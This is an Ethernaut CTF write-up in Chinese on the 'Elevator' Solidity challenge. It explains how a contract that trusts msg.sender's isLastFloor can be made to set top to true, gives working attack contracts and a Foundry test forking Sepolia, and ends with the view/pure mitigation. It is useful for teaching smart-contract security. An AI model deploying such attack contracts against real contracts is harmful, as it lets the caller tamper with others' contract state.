# Ethernaut CTF Level 11 - Elevator
## 題目
這台電梯會讓你到不了頂樓對吧?
可能會有用的資訊
- 有的時候 Solidity 不是很遵守承諾
- 我們預期這個 Elevator(電梯) 合約會被用在一個 Building(大樓) 合約裡
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
```
<br>
## 分析
首先,目標是讓top的值= `true`
- 在interface宣告的時候,使用了external
- Building interface可以更改Elevator Contract內部的值,如top
同時,這個合約使用了外部調用 `Building`
在14行的地方使用了`Building building = Building(msg.sender);`
- 代表身為攻擊者,我可以任意的"實作" `isLastFloor` function
<br>
既然目標是讓top=`true`
我們的`isLastFloor` function可以設計如下來達成
- 第一次被呼叫,回傳`false`來pass合約中的if條件
- 第二次被呼叫,回傳`true`以更改top的值
<br>
## 攻擊
如上面思路寫好合約即可
- 第一次被呼叫,回傳`false`來pass合約中的if條件
- 第二次被呼叫,回傳`true`以更改top的值
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IElevator {
function goTo(uint _floor) external;
}
contract Attack {
address payable orgContract;
constructor(address payable _levelInstance) payable {
orgContract = _levelInstance;
}
uint256 public balance;
uint public count = 0;
function isLastFloor(uint floor) public returns (bool){
if (count == 0){
count += 1;
return false;
}
else{
return true;
}
}
function attack() public payable {
IElevator(orgContract).goTo(1);
}
}
```
<br>
## Foundry Test
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../src/levels/11-Elevator/Elevator.sol";
contract ContractTest is Test {
AttackElevator attackContract;
Elevator level11 =
Elevator(payable(0x1815288bBA981c5bC13bd85e5D3F16437Bf8eFE6));
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x1815288bBA981c5bC13bd85e5D3F16437Bf8eFE6),
"Ethernaut11"
);
attackContract = new AttackElevator();
}
function testEthernaut11() public {
attackContract.goTo(1);
assert(level11.top() == true);
}
receive() external payable {}
}
// The attack contract abuse an issue from the source code
// Building building = Building(msg.sender);
// This allows the attacker creates a contract and customized the isLastFloor() function
contract AttackElevator {
Elevator level11 =
Elevator(payable(0x1815288bBA981c5bC13bd85e5D3F16437Bf8eFE6));
uint256 counter = 0;
function goTo(uint256 _floor) public {
level11.goTo(_floor);
}
function isLastFloor(uint256 _floor) public returns (bool) {
if (counter == 0) {
counter += 1;
return false;
} else {
counter = 0;
return true;
}
}
}
```
<br>
## 補充
From Ethernaut
為了防止合約的狀態被修改,你可以在函示的介面(interface)加上 view 修飾子。pure modifier也可以防止韓式修改合約的狀態被篡改。 閱讀 Solidity's documentation 並瞭解相關的注意事項。
這一關的另一個解題方案是實作一個 view 函式,這個函式根據不同的輸入資料回傳不同的結果,但是不更改合約狀態,比如說 gasleft()。